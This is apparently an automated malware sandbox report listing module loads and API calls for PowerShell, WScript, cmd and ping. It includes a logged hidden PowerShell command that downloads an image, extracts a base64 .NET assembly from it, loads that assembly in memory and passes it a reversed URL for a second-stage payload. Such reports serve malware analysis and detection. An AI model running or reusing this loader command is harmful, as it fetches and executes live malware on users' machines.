%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\CRYPT32.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter RASMAN.DLL (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter rtutils.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-SDDL-L1-1-0.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\cryptnet.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter NSI.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter CFGMGR32.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter cryptnet.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter SensApi.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-Management-L2-1-0.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter security.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter ncrypt.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter Cabinet.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter DEVRTL.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter WINHTTP.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\diasymreader.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter profapi.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter DNSAPI.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter setupapi.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter netutils.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00002752)33:T405,Process "powershell.exe" with commandline "-windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<>';$endFlag = '<>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ('txt.90tre/lt/761.161.651.49//:ptth');$method.Invoke($null, $arguments)"" (UID: 00000000-00002752)34:Ta43,"cmd.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "cmd.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "PING.EXE" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "PING.EXE" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\security.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\CRYPT32.dll" - [base:0; Status:c0000135]35:T4706,"WScript.exe" loaded module "KERNEL32.DLL" at base 77760000 "WScript.exe" loaded module "DWMAPI.DLL" at base fb7b0000 "WScript.exe" loaded module "ADVAPI32.DLL" at base fed60000 "WScript.exe" loaded module "COMCTL32.DLL" at base fc190000 "WScript.exe" loaded module "OLEAUT32.DLL" at base ff810000 "WScript.exe" loaded module "APPHELP.DLL" at base fd470000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base fbe40000 "WScript.exe" loaded module "NTMARTA.DLL" at base fc840000 "WScript.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base ff040000 "WScript.exe" loaded module "PROFAPI.DLL" at base fd670000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base fdc90000 "WScript.exe" loaded module "SECUR32.DLL" at base fd270000 "WScript.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL" at base fd6b0000 "WScript.exe" loaded module "SHELL32.DLL" at base fdfd0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base fd470000 "WScript.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base ff040000 "WScript.exe" loaded module "SXS.DLL" at base fd4e0000 "WScript.exe" loaded module "CLBCATQ.DLL" at base ff260000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\VBSCRIPT.DLL" at base f4a60000 "WScript.exe" loaded module "OLE32.DLL" at base ff060000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base fed60000 "WScript.exe" loaded module "WINTRUST.DLL" at base fd8c0000 "WScript.exe" loaded module "CRYPTSP.DLL" at base fce60000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base fcb60000 "WScript.exe" loaded module "CRYPTBASE.DLL" at base fd4d0000 "WScript.exe" loaded module "MSISIP.DLL" at base f5970000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base fd700000 "WScript.exe" loaded module "IMM32.DLL" at base fee40000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base f4c80000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCROBJ.DLL" at base f46d0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MLANG.DLL" at base f4690000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHOM.OCX" at base f4a30000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCRRUN.DLL" at base f4650000 "WScript.exe" loaded module "PROPSYS.DLL" at base fbe40000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\IEFRAME.DLL" at base f32d0000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 77760000 "WScript.exe" loaded module "SETUPAPI.DLL" at base fda30000 "WScript.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L1-1-0.DLL" at base fd870000 "cmd.exe" loaded module "KERNEL32.DLL" at base 77760000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base fd470000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base f7e40000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "cmd.exe" loaded module "KERNEL32" at base 77760000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base f4cc0000 "PING.EXE" loaded module "RPCRT4.DLL" at base ff6e0000 "PING.EXE" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base fce00000 "PING.EXE" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base fc740000 "PING.EXE" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base f7e40000 "PING.EXE" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "PING.EXE" loaded module "KERNEL32" at base 77760000 "PING.EXE" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base fbd30000 "powershell.exe" loaded module "CLBCATQ.DLL" at base ff260000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base fdfd0000 "powershell.exe" loaded module "OLE32.DLL" at base ff060000 "powershell.exe" loaded module "USERENV.DLL" at base fd6e0000 "powershell.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base ff040000 "powershell.exe" loaded module "COMCTL32.DLL" at base fc190000 "powershell.exe" loaded module "ADVAPI32.DLL" at base fed60000 "powershell.exe" loaded module "KERNEL32.DLL" at base 77760000 "powershell.exe" loaded module "SHELL32.DLL" at base fdfd0000 "powershell.exe" loaded module "OLEAUT32.DLL" at base ff810000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base fbe40000 "powershell.exe" loaded module "NTMARTA.DLL" at base fc840000 "powershell.exe" loaded module "APPHELP.DLL" at base fd470000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SHDOCVW.DLL" at base f7b50000 "powershell.exe" loaded module "PROPSYS.DLL" at base fbe40000 "powershell.exe" loaded module "PROFAPI.DLL" at base fd670000 "powershell.exe" loaded module "LINKINFO.DLL" at base f7a70000 "powershell.exe" loaded module "USER32.DLL" at base 77880000 "powershell.exe" loaded module "NTSHRUI.DLL" at base fab50000 "powershell.exe" loaded module "SRVCLI.DLL" at base fd0e0000 "powershell.exe" loaded module "CSCAPI.DLL" at base fb220000 "powershell.exe" loaded module "SLC.DLL" at base fade0000 "powershell.exe" loaded module "SHLWAPI.DLL" at base fdc10000 "powershell.exe" loaded module "CRYPTSP.DLL" at base fce60000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base fcb60000 "powershell.exe" loaded module "CRYPTBASE.DLL" at base fd4d0000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base f7e40000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "powershell.exe" loaded module "KERNEL32" at base 77760000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base f4510000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "VERSION.DLL" at base fc8b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V2.0.50727\MSCORWKS.DLL" at base ee590000 "powershell.exe" loaded module "MSCOREE.DLL" at base f45c0000 "powershell.exe" loaded module "NTDLL" at base 77980000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSCOREE.DLL" at base f45c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MSCORLIB\0478AED7FC25AE268474C704FD2A3E0F\MSCORLIB.NI.DLL" at base ed6b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V2.0.50727\OLE32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V2.0.50727\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM\9B0615D346556A8AE639DCEC168731CC\SYSTEM.NI.DLL" at base ecc70000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.POWERSHEL#\FABCA41DC6CC22A902C2525408B49AB9\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base f4450000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.MANAGEMENT.A#\D5AB9EBDFC2BACEA66210C16FFF703D2\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base ec110000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "powershell.exe" loaded module "PSAPI.DLL" at base 77b40000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "powershell.exe" loaded module "NTDLL.DLL" at base 77980000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.CORE\2706DDBD765B8A111D3083F8AF88EF03\SYSTEM.CORE.NI.DLL" at base ebde0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.POWERSHEL#\326A4488A1881B3BD8EA1E8F4DD7420F\MICROSOFT.POWERSHELL.COMMANDS.DIAGNOSTICS.NI.DLL" at base f5980000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.CONFIGURATIO#\1E9190C7A12053EA715C8D8EF8FADDD1\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base f4410000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.WSMAN.MAN#\23314086651FF4D13264EF3CD19E0B4E\MICROSOFT.WSMAN.MANAGEMENT.NI.DLL" at base ebd30000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.TRANSACTIONS\9354030849F9E58D9B95D32149F7BB68\SYSTEM.TRANSACTIONS.NI.DLL" at base ebc40000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\2.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 74120000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.POWERSHEL#\2E6EBCF758BBFFD55F7ABFD8878C72C1\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base eba20000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.POWERSHEL#\7C10A24FF552941B03414D424169041F\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base eb900000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.POWERSHEL#\89738D6A75AB575F400360D0670F60ED\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base f4170000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V2.0.50727\CULTURE.DLL" at base f67e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V2.0.50727\MSCORJIT.DLL" at base eb770000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.XML\E0542EB82C5F716397D316D5C88F7AE5\SYSTEM.XML.NI.DLL" at base eb0c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.MANAGEMENT\38C49B707AF17308185A48479FCB7404\SYSTEM.MANAGEMENT.NI.DLL" at base eaf50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.DIRECTORYSER#\543DE12CE97F16746B85981A80878035\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base eadb0000 "powershell.exe" loaded module "SHFOLDER.DLL" at base f67e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_64\MSCORLIB\2.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "powershell.exe" loaded module "SECUR32.DLL" at base fd270000 "powershell.exe" loaded module "SSPICLI.DLL" at base fd440000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.DATA\2276C85B65E1F517DA1B9026640E2A55\SYSTEM.DATA.NI.DLL" at base ea550000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_64\SYSTEM.DATA\2.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 720b0000 "powershell.exe" loaded module "NETUTILS.DLL" at base fb760000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 77760000 "powershell.exe" loaded module "SETUPAPI.DLL" at base fda30000 "powershell.exe" loaded module "RPCRT4.DLL" at base ff6e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base f4a50000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V2.0.50727\MSCORWKS.DLL" at base edbf0000 "powershell.exe" loaded module "MSCOREE.DLL" at base f5980000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSCOREE.DLL" at base f5980000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MSCORLIB\0478AED7FC25AE268474C704FD2A3E0F\MSCORLIB.NI.DLL" at base ecd10000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM\9B0615D346556A8AE639DCEC168731CC\SYSTEM.NI.DLL" at base ec2d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.POWERSHEL#\FABCA41DC6CC22A902C2525408B49AB9\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base f46f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.MANAGEMENT.A#\D5AB9EBDFC2BACEA66210C16FFF703D2\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base eb770000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.CORE\2706DDBD765B8A111D3083F8AF88EF03\SYSTEM.CORE.NI.DLL" at base eec00000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.POWERSHEL#\326A4488A1881B3BD8EA1E8F4DD7420F\MICROSOFT.POWERSHELL.COMMANDS.DIAGNOSTICS.NI.DLL" at base f4680000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.CONFIGURATIO#\1E9190C7A12053EA715C8D8EF8FADDD1\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base f4640000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.WSMAN.MAN#\23314086651FF4D13264EF3CD19E0B4E\MICROSOFT.WSMAN.MANAGEMENT.NI.DLL" at base f4590000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.TRANSACTIONS\9354030849F9E58D9B95D32149F7BB68\SYSTEM.TRANSACTIONS.NI.DLL" at base f44a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\2.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 741f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.POWERSHEL#\2E6EBCF758BBFFD55F7ABFD8878C72C1\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base ee9e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.POWERSHEL#\7C10A24FF552941B03414D424169041F\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base ee8c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.POWERSHEL#\89738D6A75AB575F400360D0670F60ED\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base f4460000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V2.0.50727\CULTURE.DLL" at base f8750000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V2.0.50727\MSCORJIT.DLL" at base ee730000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.XML\E0542EB82C5F716397D316D5C88F7AE5\SYSTEM.XML.NI.DLL" at base eaa10000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.MANAGEMENT\38C49B707AF17308185A48479FCB7404\SYSTEM.MANAGEMENT.NI.DLL" at base ee5c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.DIRECTORYSER#\543DE12CE97F16746B85981A80878035\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base eb5d0000 "powershell.exe" loaded module "SHFOLDER.DLL" at base f8750000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.DATA\2276C85B65E1F517DA1B9026640E2A55\SYSTEM.DATA.NI.DLL" at base ea1b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_64\SYSTEM.DATA\2.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 71dc0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base fd470000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V2.0.50727\CULTURE.DLL" at base f82f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.CONFIGURATION\A2571A4E32A586B52463D88A83702AED\SYSTEM.CONFIGURATION.NI.DLL" at base eb480000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\RASAPI32.DLL" at base 0 "powershell.exe" loaded module "RASAPI32.DLL" at base f6060000 "powershell.exe" loaded module "RTUTILS.DLL" at base fb310000 "powershell.exe" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL" at base ff040000 "powershell.exe" loaded module "API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL" at base ff040000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\WS2_32.DLL" at base 0 "powershell.exe" loaded module "WS2_32.DLL" at base ff360000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base fce00000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base fc740000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base fcdf0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\WINHTTP.DLL" at base 0 "powershell.exe" loaded module "IPHLPAPI.DLL" at base fc880000 "powershell.exe" loaded module "DHCPCSVC.DLL" at base fc750000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\IPHLPAPI.DLL" at base 0 "powershell.exe" loaded module "DNSAPI.DLL" at base fcc80000 "powershell.exe" loaded module "RASADHLP.DLL" at base f68e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base fac00000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\SECURITY.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base fcbf0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base fcaa0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V2.0.50727\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "CRYPT32.DLL" at base fd700000 "powershell.exe" loaded module "RASMAN.DLL" at base fa980000 "powershell.exe" loaded module "WINHTTP.DLL" at base f8220000 "powershell.exe" loaded module "GPAPI.DLL" at base fc910000 "powershell.exe" loaded module "CREDSSP.DLL" at base fca60000 "powershell.exe" loaded module "DHCPCSVC6.DLL" at base fabd0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base f86f0000 "powershell.exe" loaded module "NSI.DLL" at base fdfa0000 "powershell.exe" loaded module "CFGMGR32.DLL" at base fd880000 "powershell.exe" loaded module "CRYPTNET.DLL" at base f86f0000 "powershell.exe" loaded module "SENSAPI.DLL" at base f82f0000 "powershell.exe" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL" at base ff040000 "powershell.exe" loaded module "SECURITY.DLL" at base 741e0000 "powershell.exe" loaded module "NCRYPT.DLL" at base fcfe0000 "powershell.exe" loaded module "CABINET.DLL" at base f67c0000 "powershell.exe" loaded module "DEVRTL.DLL" at base fc930000 "powershell.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base ff040000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V2.0.50727\DIASYMREADER.DLL" at base eb3b0000 "powershell.exe" loaded module "GDI32.DLL" at base fdf3000036:T4bf,"15001600fe0700006834b4f4fe070000@ADVAPI32.dll" "0e000f00fe070000e834b4f4fe070000@ADVAPI32.dll" "0e000f00fe0700002035b4f4fe070000@ADVAPI32.dll" "11001200fe070000e839b4f4fe070000@ADVAPI32.dll" "11001200fe070000503ab4f4fe070000@ADVAPI32.dll" "12001300fe070000683ab4f4fe070000@ADVAPI32.dll" "12001300fe070000983ab4f4fe070000@ADVAPI32.dll" "14001500fe0700001052b4f4fe070000@ADVAPI32.dll" "14001500fe0700002852b4f4fe070000@ADVAPI32.dll" "14001500fe0700004052b4f4fe070000@ADVAPI32.dll" "17001800fe0700005852b4f4fe070000@ADVAPI32.dll" "0d000e00fe0700007052b4f4fe070000@ADVAPI32.dll" "0d000e00fe070000c03ab4f4fe070000@SHELL32.dll" "0d000e00fe070000203bb4f4fe070000@SHELL32.dll" "10001100fe0700007853b4f4fe070000@CRYPT32.dll" "12001300fe070000a053b4f4fe070000@CRYPT32.dll" "0f001000fe070000b853b4f4fe070000@ADVAPI32.dll" "14001500fe070000c853b4f4fe070000@CRYPT32.dll" "14001500fe070000e053b4f4fe070000@CRYPT32.dll" "14001500fe070000f853b4f4fe070000@ADVAPI32.dll" "14001500fe0700001054b4f4fe070000@ADVAPI32.dll" 